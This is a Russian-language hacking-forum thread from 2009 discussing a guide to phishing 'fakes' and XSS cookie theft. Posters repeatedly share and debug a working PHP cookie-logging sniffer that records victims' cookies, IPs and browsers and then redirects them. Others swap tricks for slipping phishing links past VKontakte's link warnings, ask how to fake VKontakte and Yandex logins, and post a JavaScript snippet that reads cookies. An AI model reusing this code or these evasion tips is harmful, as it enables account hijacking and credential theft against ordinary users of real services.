заменить на:
<anchor>войти<go href="/log.php" method="post">

L I G A
29.06.2009, 18:03
"войти" не стоит между <a href="...">tyt</a> и ничего делать не будет,тем более передавать данные в log.php

Chrome~
29.06.2009, 18:22
Да, сорри, действительно ошибся. К тому же, если сохранить вариант от Shark_d в формате HTML, то ссылка "Войти" даже неактивна. Кстати, фейк от L I G A у меня работает, нету никаких ошибок.

Shark_d
29.06.2009, 19:10
выложи весь код страницы.
Дык я его весь и выложил, сам посмотри http://h2m.ru/auth.php
бесплатный хостинг сайтов.
А вобщем, не заморачивайся особо, не получится, значит не получится. Будем по другому "успокивать" тем более, я тут не совсем по теме пишу

Chrome~
29.06.2009, 20:19
Кажется, что данный бесплатный хостинг не поддерживает PHP

L I G A
29.06.2009, 21:23
Дык я его весь и выложил, сам посмотри http://h2m.ru/auth.php
бесплатный хостинг сайтов.
А вобщем, не заморачивайся особо, не получится, значит не получится. Будем по другому "успокивать" тем более, я тут не совсем по теме пишу
что значит не получается ?,все получается фэйк пишет логи файл нет никаких эроров.

Чайник74
19.08.2009, 19:30
когда файлы заливаю через командер выдаёт ошибку передачи! как быть?

Drag_on
20.08.2009, 20:22
Одно и то же в который раз, но за то что собрано в одном месте жирный +

-PsychonauT-
23.08.2009, 19:06
сделал фэйк все класно!)) а как сделать фэйк соц.сети вконтакте?

Огризок
23.08.2009, 19:28
-PsychonauT- Зайди в соц сети и посмотри

-PsychonauT-
24.08.2009, 20:30
Огризок, там другие <form> хех!! если разберусь, тоже напишу статейку:)

adminn
25.08.2009, 00:19
Спс за статтю ... Фейки уже давно сам делаю .. Кому нужно могу дать ... А вот Xss стаття классная , но может у кого то есть видео по использованню , а то не все понятно ..

CJKrokodil
30.08.2009, 09:26
Нет, я не собирал данный мануал из частей. Текст полностью мой. Кстати, на асечке я нашел копию данного материала, правда неполную, так же, как на ачате. Админам асечки я не писал.

Вот ссылка на тему от этого плагиатора: http://forum.asechka.ru/showthread.php?t=109194

Ссылка на тему, в которой раньше велась продажа: http://forum.antichat.ru/showthread.php?t=96688 (чтобы у вас не возникало сомнений)


Ахахахахах)) Небось кукисов захотел)

CJKrokodil
30.08.2009, 09:30
4. Виды XSS-уязвимостей

Во-первых: никогда не открывайте подозрительные ссылки! Во-вторых, не читайте открытки от неизвестных Вам людей.

САМ ЖЕ ПИСАЛ :D :D :D

.Varius
30.08.2009, 15:11
Если есть активка, которой можно свободно пользоваться - можно достать MD5 любого почтового ящик на этом сервисе

maritus
02.09.2009, 03:01
Все бесплатные хостинги не принимаются контактом, то есть делаю фэйк на бесплатном хостинге, жму ссылку через контакт, а там шляпа, типа данная ссылка очень опасна и не дает дальше по ссылке проходу, как с этим бороться кто знает? Иностранные хостинги тоже палятся, есть вариант юзать платные но это не интересно. посоветуйте че делать?

Cristiel
02.09.2009, 09:52
Все бесплатные хостинги не принимаются контактом, то есть делаю фэйк на бесплатном хостинге, жму ссылку через контакт, а там шляпа, типа данная ссылка очень опасна и не дает дальше по ссылке проходу, как с этим бороться кто знает? Иностранные хостинги тоже палятся, есть вариант юзать платные но это не интересно. посоветуйте че делать?

Когда в сообщений кому нить посылаешь свой сайт, пиши без хттп и перед ру провел.
чтобы он тупо копирнул ссыль в адрес:)
и как раз не будет сообщения о том что ты переходишь на другой сайт:)

L I G A
03.09.2009, 15:56
Когда в сообщений кому нить посылаешь свой сайт, пиши без хттп и перед ру провел.
чтобы он тупо копирнул ссыль в адрес:)
и как раз не будет сообщения о том что ты переходишь на другой сайт:)
можно просто обрезать линк через tinyurl.com, думаю у них не фри хостинг.

_StOnE_
05.09.2009, 20:02
можно просто обрезать линк через tinyurl.com, думаю у них не фри хостинг.

Ссылка [ссылка] по которой Вы попытались перейти, является сокращением другой ссылки, созданным при помощи специального сервиса сокращения ссылок tinyurl.com и бла бла. Тут, к сожалению, тоже засада..

нет ли случайно какого нибудь рабочего редиректа для вконтакте?

Chrome~
25.09.2009, 23:06
Спасибо за приятные отзывы, очень рад был стараться.

satana-fu
26.09.2009, 02:25
Спасибо за приятные отзывы, очень рад был стараться.

Хром, с файлом log.php для xss у меня не заработал этот вариант

<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>

а когда я убрал лишние команды в $text= то он заработал на отлично. В чем разница? :rolleyes:

<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING"));
$Date = date("d-m-y H:i:s", time());
$browser = getenv("HTTP_USER_AGENT");
$ref = getenv("HTTP_REFERER");
$ip = getenv("REMOTE_ADDR");
$text = "
$Cookies:
$Date:
$browser:
$ref:
$ip:
$query";

$filelog = fopen("base.php","a+");
fwrite($filelog,"\n $text \n");
fclose($filelog);
header('Location: http://somesite.ru'');
?>

Chrome~
26.09.2009, 13:02
Я эту статью писал действительно очень давно. Но вот спасибо за замечание, потому что я сделал ошибку.

Это полный код данного PHP файла.
<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>
Вся проблема в этой строчке:
// Записываем полученные данные
$text = "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n";
Не знаю, почему я записал Query: $query, потому что по идеи должно быть Query: $Cookies.

То есть исправленный вариант выглядит так:
<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "\r\n\r\nDate: $Date\r\nBrowser: $browser\r\nReferer: $ref\r\nIP: $ip\r\nQuery: $Cookies\r\n\r\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"$text"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>
Только что проверил у себя, - все работает. Оффлайн версию статьи сегодня исправлю.

_==wolf==_
27.09.2009, 12:32
afftar, javascript:document.cookie работает вроде как только в мозилле. а устойчивая конструкция есть javascript: document.write(document.cookie);

L I G A
27.09.2009, 19:10
Я эту статью писал действительно очень давно. Но вот спасибо за замечание, потому что я сделал ошибку.

Это полный код данного PHP файла.
<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>
Вся проблема в этой строчке:
// Записываем полученные данные
$text = "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n";
Не знаю, почему я записал Query: $query, потому что по идеи должно быть Query: $Cookies.

То есть исправленный вариант выглядит так:
<?PHP
$Cookies = UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы
$Date = date("d-m-y H:i:s", time()); // Дата и время
$browser = getenv("HTTP_USER_AGENT"); // Информация о браузере
$ref = getenv("HTTP_REFERER"); // Страница, с которой пришли
$ip = getenv("REMOTE_ADDR"); // IP адрес

// Записываем полученные данные
$text = "\r\n\r\nDate: $Date\r\nBrowser: $browser\r\nReferer: $ref\r\nIP: $ip\r\nQuery: $Cookies\r\n\r\n";

$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"$text"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://somesite.ru'); // Переводим жертву на указанный адрес
?>
Только что проверил у себя, - все работает. Оффлайн версию статьи сегодня исправлю.
сорри мб я не догоняю,но как оно заработало от : перевода строки,возврата каретки,вот и я хз как '(
И на последок - ВСЕГДА проверяй, что принимаешь и что отсылаешь
Имеются ввиду типы переменных, их размерность, наличие/отсутствие.

Chrome~
27.09.2009, 19:59
сорри мб я не догоняю,но как оно заработало от : перевода строки,возврата каретки,вот и я хз как '(
Нет. Когда я писал данную статью, у меня было в PHP не очень много опыта. Если не ошибаюсь, то вместо \n в текстах, строках и т. д. лучше писать \r\n.

Ну а сама ошибка вот здесь:
$text = "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n";
Должно быть не Query: $query, а Query: $Cookies, то есть:
$text = "\r\n\r\nDate: $Date\r\nBrowser: $browser\r\nReferer: $ref\r\nIP: $ip\r\nQuery: $Cookies\r\n\r\n";
И на последок - ВСЕГДА проверяй, что принимаешь и что отсылаешь
Имеются ввиду типы переменных, их размерность, наличие/отсутствие.
В данном случае все эти проверки излишние. Но если ты говоришь о реальных проектах, особенно если используется БД, тогда я целиком согласен и поддерживаю тебя.

nezzar
24.10.2009, 00:33
а как быть с фэйком яндекса, пробовал. не получается(

Radiator
09.11.2009, 00:55
спасибо за статью, но про:
xss так и не смог грамотно настроить..